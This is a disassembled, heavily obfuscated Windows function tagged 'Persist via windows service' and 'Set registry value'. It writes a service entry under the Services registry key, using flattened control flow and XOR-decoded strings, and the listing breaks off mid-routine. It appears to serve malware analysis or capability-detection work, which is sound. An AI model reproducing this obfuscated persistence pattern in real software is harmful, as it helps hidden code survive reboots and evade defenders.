Function at 0x1403553c0
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x198
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x110], 0xfffffffffffffffe
mov rsi, rcx
lea rdi, [rbp - 0x50]
mov rcx, rdi
call fcn.140299f00
lea rdx, str.SYSTEMCurrentControlSetServices_
lea rcx, [rbp - 0x30]
mov r8, rdi
call fcn.1403583a0
lea rdx, [0x14072115c]
lea rcx, [rbp - 0x10]
mov r8, rsi
call fcn.1403583a0
lea rcx, [rbp - 0x30]
call fcn.140358950
lea r8, [rbp + 0x90]
mov rcx, 0xffffffff80000002
mov rdx, rax
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
je 0x140355b27
mov eax, 0x937fff9a
nop dword [rax + rax]
cmp eax, 0x937fff9a
je 0x140355460
cmp eax, 0x6de32f5e
jne 0x140355450
jmp 0x140355467
mov eax, 0x6de32f5e
jmp 0x140355450
lea r10, [rbp + 0x10]
mov qword [rbp + 0xd8], r10
mov rax, qword [rbp + 0xd8]
movups xmm0, xmmword [0x1407198b9]
movups xmmword [rax + 0xd], xmm0
movups xmm0, xmmword [0x1407198ac]
movups xmmword [rax], xmm0
mov eax, dword [0x140b7e2a0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b7e2a4], 0xa
setl cl
or cl, al
mov r14d, 0x35344007
mov eax, 0x222e1e59
cmove r14d, eax
mov edx, 0x94d22fdd
cmove edx, eax
mov eax, dword [0x140b7df78]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b7df7c], 0xa
setl cl
or cl, al
mov ecx, 0xec406dbf
mov eax, 0x10dd4be5
cmove ecx, eax
mov dword [rbp + 0xc0], ecx
mov ecx, 0x33c13738
cmove ecx, eax
mov dword [rbp + 0xec], ecx
mov r15d, 0x97f146c3
mov ecx, 0x87825109
cmove r15d, ecx
mov r9d, 0x34759637
cmove r9d, ecx
mov ecx, dword [0x140b7e9c8]
lea r13d, [rcx - 1]
imul r13d, ecx
test r13b, 1
mov ecx, 0x50c50e57
mov r8d, 0xc5b56bb4
cmove r8d, ecx
mov eax, dword [0x140b7e9cc]
mov dword [rbp + 0xd4], eax
cmp eax, 0xa
cmovl r8d, ecx
mov edi, 0x915d44d4
mov r11d, 0x667d3f97
jmp 0x140355570
mov edi, 0x34759637
nop word cs:[rax + rax]
nop dword [rax + rax]
mov ecx, edi
cmp edi, 0xc8b1a73
jle 0x1403555c0
cmp ecx, 0x34759636
jle 0x140355620
cmp ecx, 0x3e8cd264
jg 0x1403557fc
cmp ecx, 0x34759637
je 0x140355833
mov edi, ecx
cmp ecx, 0x3a9697bd
jne 0x140355570
mov qword [rbp + 0xb8], r10
mov edi, 0xc8b1a74
jmp 0x140355570
cmp ecx, 0xdc603aa2
jle 0x1403555f0
cmp ecx, 0xe8f735a6
jg 0x14035581d
mov edi, r9d
cmp ecx, 0xdc603aa3
je 0x140355570
mov edi, ecx
cmp ecx, 0xe3b04335
jne 0x140355570
mov edi, 0x3a9697bd
jmp 0x140355570
cmp ecx, 0x87825109
je 0x14035555c
cmp ecx, 0x915d44d4
je 0x14035585b
mov edi, ecx
cmp ecx, 0x97f146c3
jne 0x140355570
mov edi, 0x72f86d10
jmp 0x140355570
cmp ecx, 0xc8b1a74
je 0x140355934
cmp ecx, 0x10dd4be5
je 0x14035594c
mov edi, ecx
cmp ecx, 0x33c13738
jne 0x140355570
mov rbx, qword [rbp + 0xc8]
mov edi, 0x4f378a32
jmp 0x1403556b0
movsxd rax, dword [rbp + 0x108]
imul rcx, rax, 0x4ec4ec4f
mov rdi, rcx
shr rdi, 0x3f
sar rcx, 0x24
add ecx, edi
imul ecx, ecx, 0x34
sub eax, ecx
lea ecx, [rax + 0x36]
mov edi, dword [rbp + 0xf0]
mov esi, 0xc9
sub esi, eax
and esi, edi
not edi
and edi, ecx
or esi, edi
mov rax, qword [rbp + 0xd8]
mov byte [rbp + rax + 0x10], sil
mov r12d, dword [rbp + 0x108]
add r12d, 1
mov edi, 0x8d2c1918
nop dword [rax + rax]
cmp edi, 0xe3d8963e
jle 0x1403556f0
cmp edi, 0x35344006
jle 0x140355730
cmp edi, 0x35344007
je 0x1403557c3
cmp edi, 0x667d3f97
je 0x14035578c
cmp edi, 0x4f378a32
jne 0x1403556b0
mov edi, 0xbda9ce26
jmp 0x1403556b0
cmp edi, 0xa7540291
jle 0x140355760
cmp edi, 0xbda9ce26
je 0x1403557d8
cmp edi, 0xe0096a5e
jne 0x1403557e5
movsx eax, byte [rbp + 0x104]
mov dword [rbp + 0xf0], eax
mov edi, 0xe3d8963f
jmp 0x1403556b0
cmp edi, 0xe3d8963f
je 0x140355654
cmp edi, 0x222e1e59
jne 0x1403556b0
mov eax, dword [rbp + 0x108]
mov edi, 0x94d22fdd
jmp 0x1403556b0
cmp edi, 0x8d2c1918
je 0x1403557b5
cmp edi, 0x94d22fdd
jne 0x1403556b0
mov eax, dword [rbp + 0x108]
cmp eax, 0x1d
setl byte [rbp + 0xfc]
mov edi, r14d
jmp 0x1403556b0
movsxd rax, dword [rbp + 0x108]
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0xd8]
movzx eax, byte [rbx + rax]
mov byte [rbp + 0x104], al
mov edi, 0xe0096a5e
jmp 0x1403556b0
mov dword [rbp + 0x108], r12d
mov edi, edx
jmp 0x1403556b0
cmp byte [rbp + 0xfc], 0
mov edi, 0xa7540292
cmovne edi, r11d
jmp 0x1403556b0
mov edi, 0x8d2c1918
xor r12d, r12d
jmp 0x1403556b0
cmp edi, 0xa7540292
jne 0x1403556b0
mov edi, dword [rbp + 0xc0]
jmp 0x140355570
cmp ecx, 0x3e8cd265
je 0x140355842
mov edi, ecx
cmp ecx, 0x72f86d10
jne 0x140355570
mov edi, dword [rbp + 0xec]
jmp 0x140355570
cmp ecx, 0xec406dbf
jne 0x140355af9
mov edi, 0xe3b04335
jmp 0x140355570
mov qword [rbp + 0xc8], r10
mov edi, r15d
jmp 0x140355570
cmp byte [rbp + 0xf8], 0
mov edi, 0x3a9697bd
mov eax, 0xdc603aa3
cmovne edi, eax
jmp 0x140355570
test r13b, 1
sete byte [rbp + 0x104]
cmp dword [rbp + 0xd4], 0xa
setl byte [rbp + 0xf0]
mov ebx, 0xf9e20d96
mov cl, byte [rbp + 0x2c]
jmp 0x140355890
movsx edi, byte [rbp + 0x108]
mov ebx, 0x1598e055
nop word [rax + rax]
cmp ebx, 0x2bb3e5eb
jg 0x1403558c0
cmp ebx, 0xc5b56bb4
je 0x1403558df
cmp ebx, 0xf9e20d96
je 0x1403558e6
cmp ebx, 0x1598e055
jne 0x140355890
jmp 0x140355916
cmp ebx, 0x2bb3e5ec
je 0x14035587e
cmp ebx, 0x4e9da0c4
je 0x140355908
cmp ebx, 0x50c50e57
jne 0x140355890
mov ebx, 0x2bb3e5ec
jmp 0x140355890
mov ebx, 0x4e9da0c4
jmp 0x140355890
movzx eax, byte [rbp + 0x104]
cmp byte [rbp + 0xf0], 0
mov ebx, 0xc5b56bb4
mov esi, 0x4e9da0c4
cmovne ebx, esi
test al, al
cmovne ebx, esi
jmp 0x140355890
mov byte [rbp + 0x108], cl
mov ebx, r8d
jmp 0x140355890
mov dword [rbp + 0xd8], edi
cmp dword [rbp + 0xd8], 0
setne byte [rbp + 0xf8]
mov edi, 0x3e8cd265
jmp 0x140355570
mov rax, qword [rbp + 0xb8]
mov qword [rbp + 0x98], rax
mov edi, 0xe8f735a7
jmp 0x140355570
mov rbx, qword [rbp + 0xc8]
mov ecx, 0x4f378a32
jmp 0x1403559b0
movsxd rax, dword [rbp + 0x108]
imul rcx, rax, 0x4ec4ec4f
mov rsi, rcx
shr rsi, 0x3f
sar rcx, 0x24
add ecx, esi
imul ecx, ecx, 0x34
sub eax, ecx
lea ecx, [rax + 0x36]
mov esi, dword [rbp + 0xf0]
mov edi, 0xc9
sub edi, eax
and edi, esi
not esi
and esi, ecx
or edi, esi
mov rax, qword [rbp + 0xd8]
mov byte [rbp + rax + 0x10], dil
mov edi, dword [rbp + 0x108]
add edi, 1
mov ecx, 0x8d2c1918
nop dword [rax]
cmp ecx, 0xe3d8963e
jle 0x1403559f0
cmp ecx, 0x35344006
jle 0x140355a30
cmp ecx, 0x35344007
je 0x140355ac2
cmp ecx, 0x667d3f97
je 0x140355a8c
cmp ecx, 0x4f378a32
jne 0x1403559b0
mov ecx, 0xbda9ce26
jmp 0x1403559b0
cmp ecx, 0xa7540291
jle 0x140355a60
cmp ecx, 0xbda9ce26
je 0x140355ad7
cmp ecx, 0xe0096a5e
jne 0x140355ae3
movsx eax, byte [rbp + 0x104]
mov dword [rbp + 0xf0], eax
mov ecx, 0xe3d8963f
jmp 0x1403559b0
cmp ecx, 0xe3d8963f
je 0x14035595a
cmp ecx, 0x222e1e59
jne 0x1403559b0
mov eax, dword [rbp + 0x108]
mov ecx, 0x94d22fdd
jmp 0x1403559b0
cmp ecx, 0x8d2c1918
je 0x140355ab5
cmp ecx, 0x94d22fdd
jne 0x1403559b0
mov eax, dword [rbp + 0x108]
cmp eax, 0x1d
setl byte [rbp + 0xfc]
mov ecx, r14d
jmp 0x1403559b0
movsxd rax, dword [rbp + 0x108]
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0xd8]
movzx eax, byte [rbx + rax]
mov byte [rbp + 0x104], al
mov ecx, 0xe0096a5e
jmp 0x1403559b0
mov dword [rbp + 0x108], edi
mov ecx, edx
jmp 0x1403559b0
cmp byte [rbp + 0xfc], 0
mov ecx, 0xa7540292
cmovne ecx, r11d
jmp 0x1403559b0
mov ecx, 0x8d2c1918
xor edi, edi
jmp 0x1403559b0
cmp ecx, 0xa7540292
jne 0x1403559b0
mov edi, 0x33c13738
jmp 0x140355570
mov edi, ecx
cmp ecx, 0xe8f735a7
jne 0x140355570
mov rdx, qword [rbp + 0x98]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1402bf9e0
mov rcx, rax
call fcn.1402a4230
jmp 0x1403569c5
lea rax, [rbp]
mov qword [rbp + 0xd8], rax
mov eax, dword [0x140b7dfa0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b7dfa4], 0xa
setl cl
or cl, al
mov eax, 0xe79aded5
mov edx, 0xcf33f3d
cmove eax, edx
mov ecx, 0xbc6aa479
cmove ecx, edx
mov edx, 0xcd2743b8
nop word [rax + rax]
cmp edx, 0xcd2743b7
jle 0x140355bb0
cmp edx, 0xcf33f3d
je 0x140355bc4
cmp edx, 0xe79aded5
je 0x140355bcf
cmp edx, 0xcd2743b8
jne 0x140355b70
mov rdx, qword [rbp + 0xd8]
mov rdx, qword [rdx]
mov qword [rbp + 0x10], rdx
mov edx, 0xb23c6cce
jmp 0x140355b70
cmp edx, 0xb23c6cce
je 0x140355bcb
cmp edx, 0xbc6aa479
jne 0x140355b70
mov edx, eax
jmp 0x140355b70
mov edx, 0xbc6aa479
jmp 0x140355b70
mov edx, ecx
jmp 0x140355b70
mov rsi, qword [rbp + 0x10]
lea rcx, [rbp - 0x10]
call fcn.140358950
mov rcx, qword [rbp + 0x90]
add esi, esi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rax
lea r8, [0x14072108e]
xor edx, edx
mov r9d, 2
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov rcx, qword [rbp + 0x90]
test eax, eax
je 0x140356417
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r11, [rbp + 0x10]
mov qword [rbp + 0xd8], r11
mov edx, 0x7ae8474b
mov eax, 0x3c0d2fec
mov edi, 0x87fb56ef
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x3c0d2feb
jle 0x140355c90
cmp edx, 0x3c0d2fec
je 0x140355ca5
cmp edx, 0x53a1b1a6
je 0x140355cac
cmp edx, 0x7ae8474b
jne 0x140355c40
mov edx, dword [0x140b7e908]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0x53a1b1a6
cmove edx, edi
cmp dword [0x140b7e90c], 0xa
cmovl edx, edi
jmp 0x140355c40
cmp edx, 0x87fb56ef
je 0x140355cdd
cmp edx, 0x1516f10c
jne 0x140355c40
jmp 0x140355d2a
mov edx, 0x1516f10c
jmp 0x140355c40
mov rdx, qword [rbp + 0xd8]
movups xmm0, xmmword [0x1407198e5]
movups xmmword [rdx + 0x1c], xmm0
movups xmm0, xmmword [0x1407198d9]
movups xmmword [rdx + 0x10], xmm0
movups xmm0, xmmword [0x1407198c9]
movups xmmword [rdx], xmm0
mov edx, 0x87fb56ef
jmp 0x140355c40
mov rdx, qword [rbp + 0xd8]
movups xmm0, xmmword [0x1407198e5]
movups xmmword [rdx + 0x1c], xmm0
movups xmm0, xmmword [0x1407198d9]
movups xmmword [rdx + 0x10], xmm0
movups xmm0, xmmword [0x1407198c9]
movups xmmword [rdx], xmm0
mov edx, dword [0x140b7e908]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0x53a1b1a6
cmove edx, eax
cmp dword [0x140b7e90c], 0xa
cmovl edx, eax
jmp 0x140355c40
mov eax, dword [0x140b7e910]
mov ebx, dword [0x140b7e914]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete dl
sete byte [rbp + 0xd3]
cmp ebx, 0xa
setl byte [rbp + 0x102]
setl r8b
or r8b, dl
mov eax, dword [0x140b7e408]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x140b7e40c], 0xa
setl dl
or dl, al
mov r13d, 0xa652c112
mov ebx, 0xffef51b6
cmove r13d, ebx
mov edx, 0xd51b2f75
cmove edx, ebx
mov ebx, 0x5141bb1c
mov esi, 0x649cafd
cmove ebx, esi
mov edi, 0x431dcbb
cmove edi, esi
mov esi, dword [0x140b7e400]
lea eax, [rsi - 1]
imul eax, esi
test al, 1
sete r9b
cmp dword [0x140b7e404], 0xa
setl al
or al, r9b
mov esi, 0xf9433bde
mov eax, 0x1b00804c
cmove esi, eax
mov dword [rbp + 0xc0], esi
mov esi, 0xbbd9926
cmove esi, eax
mov dword [rbp + 0xec], esi
test r8b, r8b
mov esi, 0xa97fb915
mov eax, 0xd74e781f
cmove esi, eax
mov dword [rbp + 0xd4], esi
mov r15d, 0x6b37cb3f
cmove r15d, eax
mov esi, 0x65270c6b
mov eax, 0xae84bb95
cmove esi, eax
mov dword [rbp + 0xa0], esi
mov esi, 0xf5b171d0
cmove esi, eax
mov dword [rbp + 0xa4], esi
mov esi, 0xc30ed3b
mov eax, 0xa730c88a
cmove esi, eax
mov dword [rbp + 0xa8], esi
mov r9d, 0x662bf71c
cmove r9d, eax
mov r14d, 0x3657c441
mov eax, 0x91c0978b
cmove r14d, eax
mov r8d, 0xbb933ec7
cmove r8d, eax
mov esi, 0x95025e79
mov eax, 0xa41e6cfc
cmove esi, eax
mov dword [rbp + 0xb4], esi
mov esi, 0xccfabad3
mov r10d, 0xcb93d873
mov dword [rbp + 0xac], r14d
mov dword [rbp + 0xb0], r8d
jmp 0x140355e90
mov esi, 0xb7ae1feb
nop
mov eax, esi
cmp esi, 0xd74e781e
jle 0x140355ee0
cmp eax, 0x4e2d3be7
jg 0x140355f30
cmp eax, 0x3657c440
jg 0x140355fb8
cmp eax, 0xd74e781f
je 0x1403560f2
cmp eax, 0xf5b171d0
je 0x140356153
mov esi, eax
cmp eax, 0xc30ed3b
jne 0x140355e90
mov esi, 0x388e2eb4
jmp 0x140355e90
cmp eax, 0xa97fb914
jle 0x140355f80
cmp eax, 0xbb933ec6
jg 0x140356013
cmp eax, 0xa97fb915
je 0x140356149
cmp eax, 0xae84bb95
je 0x1403563c2
mov esi, eax
cmp eax, 0xb7ae1feb
jne 0x140355e90
mov esi, dword [rbp + 0xa4]
jmp 0x140355e90
cmp eax, 0x6b37cb3e
jg 0x140355fe6
mov esi, r9d
cmp eax, 0x4e2d3be8
je 0x140355e90
cmp eax, 0x65270c6b
je 0x140356165
mov esi, eax
cmp eax, 0x662bf71c
jne 0x140355e90
mov qword [rbp + 0xc8], r11
mov esi, dword [rbp + 0xa8]
jmp 0x140355e90
cmp eax, 0x977776ee
jle 0x140356060
cmp eax, 0x977776ef
je 0x140355e89
cmp eax, 0xa41e6cfc
je 0x140356103
mov esi, eax
cmp eax, 0xa730c88a
jne 0x140355e90
mov esi, 0x662bf71c
jmp 0x140355e90
cmp eax, 0x3657c441
je 0x14035610d
cmp eax, 0x388e2eb4
je 0x14035616f
mov esi, eax
cmp eax, 0x3d028801
jne 0x140355e90
mov esi, dword [rbp + 0xb4]
jmp 0x140355e90
cmp eax, 0x6b37cb3f
je 0x140356126
mov esi, r15d
cmp eax, 0x74eae243
je 0x140355e90
mov esi, eax
cmp eax, 0x75981471
jne 0x140355e90
mov esi, 0x311039c8
jmp 0x140356090
mov esi, r14d
cmp eax, 0xbb933ec7
je 0x140355e90
mov esi, r8d
cmp eax, 0xc0c25222
je 0x140355e90
mov esi, eax
cmp eax, 0xccfabad3
jne 0x140355e90
mov al, byte [rbp + 0xd3]
cmp byte [rbp + 0x102], 0
mov esi, 0xa41e6cfc
mov ecx, 0x3d028801
cmovne esi, ecx
test al, al
cmovne esi, ecx
jmp 0x140355e90
cmp eax, 0x91c0978b
je 0x14035613f
cmp eax, 0x95025e79
jne 0x1403563ea
mov esi, 0x75981471
jmp 0x140355e90
mov rsi, qword [rbp + 0xd8]
mov esi, 0xbbd9926
nop dword [rax]
cmp esi, 0x1b00804b
jle 0x1403560c0
cmp esi, 0x1b00804c
je 0x140356080
cmp esi, 0x4724f145
je 0x1403560ea
cmp esi, 0x311039c8
jne 0x140356090
mov qword [rbp + 0xd8], r11
mov esi, 0x4724f145
jmp 0x140356090
cmp esi, 0xf9433bde
je 0x1403563cc
cmp esi, 0xbbd9926
jne 0x140356090
mov rax, qword [rbp + 0xd8]
cmp byte [rax + 0x2b], 0
setne al
mov esi, dword [rbp + 0xc0]
jmp 0x140356090
mov esi, dword [rbp + 0xec]
jmp 0x140356090
mov rax, qword [rbp + 0xb8]
mov esi, 0x6b37cb3f
jmp 0x140355e90
mov esi, 0x3d028801
jmp 0x140355e90
cmp byte [rbp + 0x103], 0
mov esi, 0xb7ae1feb
mov eax, 0x4e2d3be8
cmovne esi, eax
jmp 0x140355e90
mov rax, qword [rbp + 0xb8]
mov qword [rbp + 0x98], rax
mov esi, dword [rbp + 0xd4]
jmp 0x140355e90
mov esi, 0xbb933ec7
jmp 0x140355e90
mov esi, 0x85fe9b95
jmp 0x140355e90
mov qword [rbp + 0xb8], r11
mov esi, dword [rbp + 0xa0]
jmp 0x140355e90
mov esi, 0x74eae243
jmp 0x140355e90
mov r8, r11
mov r11, qword [rbp + 0xc8]
mov esi, 0xa1855f5e
jmp 0x1403561c0
mov rax, qword [rbp + 0xd8]
movzx ecx, byte [rbp + 0xf8]
mov byte [rbp + rax + 0x10], cl
mov eax, dword [rbp + 0x108]
mov eax, dword [rbp + 0x108]
mov eax, dword [rbp + 0x108]
mov eax, dword [rbp + 0x108]
mov eax, dword [rbp + 0x108]
mov esi, 0xd51b2f75
nop word cs:[rax + rax]
nop
mov eax, esi
cmp esi, 0xffef51b5
jle 0x140356200
cmp eax, 0x649cafc
jle 0x140356240
cmp eax, 0x5141bb1b
jle 0x140356301
cmp eax, 0x5141bb1c
je 0x140356390
mov esi, eax
cmp eax, 0x6aec3b5e
jne 0x1403561c0
mov esi, edx
jmp 0x1403561c0
cmp eax, 0xcb93d872
jg 0x1403562c0
cmp eax, 0xa1855f5e
je 0x14035632e
cmp eax, 0xa652c112
je 0x140356356
mov esi, eax
cmp eax, 0xc00ddfd9
jne 0x1403561c0
mov esi, 0x1468c5b
xor r14d, r14d
jmp 0x1403561c0
cmp eax, 0xffef51b6
je 0x140356180
cmp eax, 0x1468c5b
je 0x140356338
mov esi, eax
cmp eax, 0x431dcbb
jne 0x1403561c0
movsxd rax, dword [rbp + 0x108]
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0xd8]
movsx eax, byte [r11 + rax]
mov dword [rbp + 0xfc], eax
movsxd rax, dword [rbp + 0x108]
imul rsi, rax, 0x4ec4ec4f
mov r12, rsi
shr r12, 0x3f
sar rsi, 0x24
add esi, r12d
imul esi, esi, 0x34
sub eax, esi
add eax, 0x36
mov dword [rbp + 0x104], eax
mov esi, ebx
jmp 0x1403561c0
mov esi, edi
cmp eax, 0xcb93d873
je 0x1403561c0
cmp eax, 0xd51b2f75
je 0x140356367
mov esi, eax
cmp eax, 0xedd58fd0
jne 0x1403561c0
mov eax, dword [rbp + 0xfc]
xor eax, dword [rbp + 0x104]
mov byte [rbp + 0xf8], al
mov esi, 0x6aec3b5e
jmp 0x1403561c0
cmp eax, 0x649cafd
jne 0x14035639a
mov eax, dword [rbp + 0x108]
mov eax, dword [rbp + 0x108]
mov eax, dword [rbp + 0x108]
mov eax, dword [rbp + 0x108]
mov esi, 0x431dcbb
jmp 0x1403561c0
mov esi, 0xc00ddfd9
jmp 0x1403561c0
mov dword [rbp + 0x108], r14d
mov eax, dword [rbp + 0x108]
cmp eax, 0x2c
mov esi, 0x33cf3614
cmovl esi, r10d
jmp 0x1403561c0
mov esi, 0x1468c5b
mov r14d, dword [rbp + 0xf0]
jmp 0x1403561c0
mov rax, qword [rbp + 0xd8]
movzx ecx, byte [rbp + 0xf8]
mov byte [rbp + rax + 0x10], cl
mov eax, dword [rbp + 0x108]
add eax, 1
mov dword [rbp + 0xf0], eax
mov esi, r13d
jmp 0x1403561c0
mov esi, 0xedd58fd0
jmp 0x1403561c0
mov esi, eax
cmp eax, 0x33cf3614
jne 0x1403561c0
mov esi, 0x977776ef
mov r11, r8
mov r14d, dword [rbp + 0xac]
mov r8d, dword [rbp + 0xb0]
jmp 0x140355e90
mov esi, 0xf5b171d0
jmp 0x140355e90
and al, 1
mov byte [rbp + 0x108], al
mov al, byte [rbp + 0x108]
mov byte [rbp + 0x103], al
mov esi, 0xc0c25222
jmp 0x140355e90
mov esi, eax
cmp eax, 0x85fe9b95
jne 0x140355e90
mov rdx, qword [rbp + 0x98]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1402bf9e0
mov rcx, rax
call fcn.1402a4230
jmp 0x1403569c5
lea rax, [0x1407198a8]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 4
lea r8, str.Type
xor edx, edx
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov esi, eax
mov rcx, qword [rbp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x140356a73
mov eax, dword [0x140b7dfa8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b7dfac], 0xa
setl cl
or cl, al
mov eax, 0xa37493b
mov edx, 0x1bf7fa55
cmove eax, edx
mov ecx, 0xee7dbcc6
cmove ecx, edx
mov edx, 0x65317470
nop
cmp edx, 0x1bf7fa54
jle 0x1403564c0
cmp edx, 0x1bf7fa55
je 0x1403564d7
cmp edx, 0x50aa956c
je 0x140356527
cmp edx, 0x65317470
jne 0x140356490
mov edx, ecx
jmp 0x140356490
cmp edx, 0xee7dbcc6
je 0x1403564ff
cmp edx, 0xa37493b
jne 0x140356490
mov edx, 0x50aa956c
jmp 0x140356490
mov rdx, qword [0x140719914]
mov qword [rbp + 0x2f], rdx
movups xmm0, xmmword [0x140719905]
movaps xmmword [rbp + 0x20], xmm0
movups xmm0, xmmword [0x1407198f5]
movaps xmmword [rbp + 0x10], xmm0
mov edx, 0xee7dbcc6
jmp 0x140356490
mov rdx, qword [0x140719914]
mov qword [rbp + 0x2f], rdx
movups xmm0, xmmword [0x140719905]
movaps xmmword [rbp + 0x20], xmm0
movups xmm0, xmmword [0x1407198f5]
movaps xmmword [rbp + 0x10], xmm0
mov edx, eax
jmp 0x140356490
mov eax, dword [0x140b7dfb0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b7dfb4], 0xa
setl cl
or cl, al
mov ecx, 0x5bfb8ba
mov eax, 0xe606a28b
cmove ecx, eax
mov dword [rbp + 0xc0], ecx
mov ecx, 0x11f00f0f
cmove ecx, eax
mov dword [rbp + 0xec], ecx
mov eax, dword [0x140b7e420]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b7e424], 0xa
setl cl
or cl, al
mov r8d, 0xf4e72bca
mov eax, 0x7e8b531f
cmove r8d, eax
mov r10d, 0x634e6049
cmove r10d, eax
mov edi, 0x709e72cc
mov eax, 0x7f8a0c32
cmove edi, eax
mov r11d, 0x9d2b4ed5
cmove r11d, eax
mov eax, dword [0x140b7e410]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b7e414], 0xa
setl cl
or cl, al
mov r15d, 0x90505939
mov eax, 0x8de06a30
cmove r15d, eax
mov r12d, 0x210aab1b
cmove r12d, eax
mov eax, 0xb3c7f23b
lea r14, [rbp + 0x10]
mov r13d, 0xb8e50db
jmp 0x140356610
mov eax, 0x1a98d7a5
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0x5bfb8b9
jg 0x140356650
cmp eax, 0xf1b89c23
jg 0x140356680
cmp eax, 0xb3c7f23b
je 0x140356907
cmp eax, 0xd0299ceb
je 0x1403566d8
cmp eax, 0xe606a28b
jne 0x140356610
mov eax, 0x11f00f0f
jmp 0x140356610
cmp eax, 0x1a98d7a4
jle 0x1403566b0
cmp eax, 0x1a98d7a5
je 0x140356961
cmp eax, 0x7399bb4c
je 0x1403566f0
cmp eax, 0x7798e713
jne 0x140356610
mov eax, dword [rbp + 0xec]
jmp 0x140356610
cmp eax, 0xf1ec0403
je 0x1403568ee
cmp eax, 0xff0fc400
jne 0x14035699f
mov qword [rbp + 0xf0], r14
mov eax, 0xd0299ceb
jmp 0x140356610
cmp eax, 0x5bfb8ba
je 0x1403565fc
cmp eax, 0x11f00f0f
jne 0x140356610
mov qword [rbp + 0xc8], r14
mov eax, dword [rbp + 0xc0]
jmp 0x140356610
mov rax, qword [rbp + 0xf0]
mov qword [rbp + 0x108], rax
mov eax, 0x7399bb4c
jmp 0x140356610
mov rcx, qword [rbp + 0x108]
mov esi, 0x9b08b2b3
jmp 0x140356740
mov rsi, qword [rbp + 0xd8]
movsx esi, byte [rsi]
mov dword [rbp + 0xf8], esi
movsxd rsi, dword [rbp + 0x104]
imul rdx, rsi, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x24
add edx, ebx
imul edx, edx, 0x34
sub esi, edx
add esi, 0x36
mov dword [rbp + 0xfc], esi
mov esi, 0x4cc5cb85
nop dword [rax]
mov r9d, esi
cmp esi, 0xb8e50da
jg 0x140356780
cmp r9d, 0xda602549
jg 0x1403567d0
cmp r9d, 0xb2272a88
jg 0x140356840
mov esi, r11d
cmp r9d, 0x9b08b2b3
je 0x140356740
mov esi, r9d
cmp r9d, 0x9d2b4ed5
jne 0x140356740
mov esi, edi
jmp 0x140356740
cmp r9d, 0x709e72cb
jg 0x140356810
cmp r9d, 0xb8e50db
je 0x14035685b
cmp r9d, 0x4cc5cb85
je 0x14035689a
mov esi, r9d
cmp r9d, 0x634e6049
jne 0x140356740
mov esi, dword [rbp + 0x104]
cmp esi, 0x27
setl byte [rbp + 0x103]
mov esi, r8d
jmp 0x140356740
cmp r9d, 0xda60254a
je 0x1403566fe
cmp r9d, 0xe4434e48
je 0x14035688e
mov esi, r9d
cmp r9d, 0xf4e72bca
jne 0x140356740
cmp byte [rbp + 0x103], 0
mov esi, 0xb2272a89
cmovne esi, r13d
jmp 0x140356740
cmp r9d, 0x709e72cc
je 0x140356884
cmp r9d, 0x7e8b531f
je 0x1403568c4
mov esi, r9d
cmp r9d, 0x7f8a0c32
jne 0x140356740
mov esi, 0x9d2b4ed5
jmp 0x140356740
cmp r9d, 0xb2c96af7
jne 0x1403568d4
mov dword [rbp + 0x104], eax
mov esi, r10d
jmp 0x140356740
movsxd rsi, dword [rbp + 0x104]
mov qword [rbp + 0x98], rsi
mov rsi, qword [rbp + 0x98]
add rsi, rcx
mov qword [rbp + 0xd8], rsi
mov esi, 0xda60254a
jmp 0x140356740
mov esi, 0xe4434e48
jmp 0x140356740
mov esi, 0xb2c96af7
xor eax, eax
jmp 0x140356740
mov eax, dword [rbp + 0xf8]
xor eax, dword [rbp + 0xfc]
mov rdx, qword [rbp + 0x98]
mov byte [rbp + rdx + 0x10], al
mov eax, dword [rbp + 0x104]
add eax, 1
mov esi, 0xb2c96af7
jmp 0x140356740
mov edx, dword [rbp + 0x104]
mov esi, 0x634e6049
jmp 0x140356740
mov esi, r9d
cmp r9d, 0xb2272a89
jne 0x140356740
mov eax, 0x7798e713
jmp 0x140356610
cmp byte [rbp + 0x102], 0
mov eax, 0x7798e713
mov ecx, 0xff0fc400
cmovne eax, ecx
jmp 0x140356610
mov eax, 0x3c7d74f0
nop dword [rax]
cmp eax, 0x210aab1a
jle 0x140356940
cmp eax, 0x41474867
je 0x140356979
cmp eax, 0x3c7d74f0
je 0x140356955
cmp eax, 0x210aab1b
jne 0x140356910
mov eax, r15d
jmp 0x140356910
cmp eax, 0x8de06a30
je 0x14035695a
cmp eax, 0x90505939
jne 0x140356910
mov eax, 0x41474867
jmp 0x140356910
mov eax, r12d
jmp 0x140356910
mov eax, 0x210aab1b
